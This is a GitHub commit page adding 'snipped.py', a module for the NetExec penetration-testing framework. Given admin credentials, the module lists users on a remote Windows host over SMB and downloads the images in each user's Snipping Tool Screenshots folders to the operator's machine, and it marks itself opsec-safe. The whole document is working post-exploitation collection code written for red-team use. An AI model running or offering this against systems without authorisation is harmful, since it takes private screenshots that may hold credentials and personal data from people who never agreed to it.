Skip to content

Commit 1e583a0

Browse files
authored
Merge pull request Pennyw0rth#368 from Yeeb1/module_snipped
Add new SMB module to download Screenshots created by Snipping Tool
2 parents 4de3126 + 930f045 commit 1e583a0

1 file changed

Lines changed: 134 additions & 0 deletions

File tree

nxc/modules/snipped.py

Lines changed: 134 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,134 @@
1+
import ntpath
2+
import os
3+
from os.path import join, getsize, exists
4+
from nxc.paths import NXC_PATH
5+
6+
7+
class NXCModule:
8+
9+
name = "snipped"
10+
description = "Downloads screenshots taken by the (new) Snipping Tool."
11+
supported_protocols = ["smb"]
12+
opsec_safe = True
13+
multiple_hosts = True
14+
15+
def __init__(self):
16+
self.context = None
17+
self.module_options = None
18+
self.excluded_files = ["desktop.ini"]
19+
20+
def options(self, context, module_options):
21+
"""USERS: Download only specified user(s); format: -o USERS=user1,user2,user3"""
22+
self.context = context
23+
self.users = [user.lower() for user in module_options["USERS"].split(",")] if "USERS" in module_options else None
24+
25+
26+
27+
def on_admin_login(self, context, connection):
28+
self.context = context
29+
self.connection = connection
30+
self.share = "C$"
31+
32+
output_base_dir = join(NXC_PATH, "modules", "snipped", "screenshots")
33+
os.makedirs(output_base_dir, exist_ok=True)
34+
35+
context.log.info("Getting all user folders")
36+
try:
37+
user_folders = connection.conn.listPath(self.share, "\\Users\\*")
38+
except Exception as e:
39+
context.log.fail(f"Failed to list user folders: {e}")
40+
return
41+
42+
context.log.info(f"User folders: {[folder.get_longname() for folder in user_folders]}")
43+
if not user_folders:
44+
context.log.fail("No User folders found!")
45+
return
46+
else:
47+
context.log.info("Attempting to download screenshots if they exist.")
48+
49+
total_files_downloaded = 0
50+
host_output_path = None
51+
52+
for user_folder in user_folders:
53+
folder_name = user_folder.get_longname()
54+
if folder_name.lower() not in [".", "..", "all users", "default", "default user", "public"]:
55+
normalized_name = folder_name.lower()
56+
if self.users and normalized_name not in self.users:
57+
continue
58+
59+
context.log.info(f"Searching for Screenshots folder in {folder_name}'s home directory")
60+
screenshots_folders = self.find_screenshots_folders(folder_name)
61+
if not screenshots_folders:
62+
context.log.debug(f"No Screenshots folder found for user {folder_name}. Skipping.")
63+
continue
64+
65+
for screenshot_path in screenshots_folders:
66+
try:
67+
screenshot_files = connection.conn.listPath(self.share, screenshot_path + "\\*")
68+
except Exception as e:
69+
context.log.debug(f"Screenshot folder {screenshot_path} not found for user {folder_name}: {e}")
70+
continue
71+
72+
if not screenshot_files:
73+
context.log.debug(f"No screenshots found in {screenshot_path} for user {folder_name}")
74+
continue
75+
76+
user_output_dir = join(output_base_dir, connection.host)
77+
os.makedirs(user_output_dir, exist_ok=True)
78+
host_output_path = user_output_dir
79+
80+
for file in screenshot_files:
81+
if not file.is_directory():
82+
remote_file_name = file.get_longname()
83+
84+
if remote_file_name.lower() in self.excluded_files:
85+
context.log.debug(f"Excluding file {remote_file_name}.")
86+
continue
87+
88+
remote_file_path = ntpath.join(screenshot_path, remote_file_name)
89+
sanitized_path = screenshot_path.replace("\\", "_").replace("/", "_")
90+
local_file_name = f"{folder_name}_{sanitized_path}_{remote_file_name}"
91+
local_file_path = join(user_output_dir, local_file_name)
92+
93+
try:
94+
with open(local_file_path, "wb") as local_file:
95+
context.log.debug(f"Downloading {remote_file_path} to {local_file_path}")
96+
connection.conn.getFile(self.share, remote_file_path, local_file.write)
97+
98+
if not exists(local_file_path):
99+
context.log.fail(f"Downloaded file '{local_file_path}' does not exist.")
100+
continue
101+
102+
file_size = getsize(local_file_path)
103+
if file_size == 0:
104+
context.log.fail(f"Downloaded file '{local_file_path}' is 0 bytes. Skipping.")
105+
os.remove(local_file_path)
106+
else:
107+
total_files_downloaded += 1
108+
except Exception as e:
109+
context.log.debug(f"Failed to download '{remote_file_path}' for user {folder_name}: {e}")
110+
111+
if total_files_downloaded > 0 and host_output_path:
112+
context.log.success(f"{total_files_downloaded} file(s) downloaded from host {connection.host} to {host_output_path}.")
113+
114+
115+
def find_screenshots_folders(self, user_folder_name):
116+
"""
117+
Dynamically searches for all Screenshots folders in the user's home directory.
118+
Returns a list of paths.
119+
"""
120+
base_path = ntpath.normpath(join(r"Users", user_folder_name))
121+
screenshots_folders = []
122+
try:
123+
subfolders = self.connection.conn.listPath(self.share, base_path + "\\*")
124+
for subfolder in subfolders:
125+
if subfolder.is_directory() and subfolder.get_longname() not in [".", ".."]:
126+
potential_path = ntpath.join(base_path, subfolder.get_longname(), "Screenshots")
127+
try:
128+
if self.connection.conn.listPath(self.share, potential_path + "\\*"):
129+
screenshots_folders.append(potential_path)
130+
except Exception:
131+
continue
132+
except Exception as e:
133+
self.context.log.debug(f"Failed to list subfolders for {base_path}: {e}")
134+
return screenshots_folders

0 commit comments

Comments
 (0)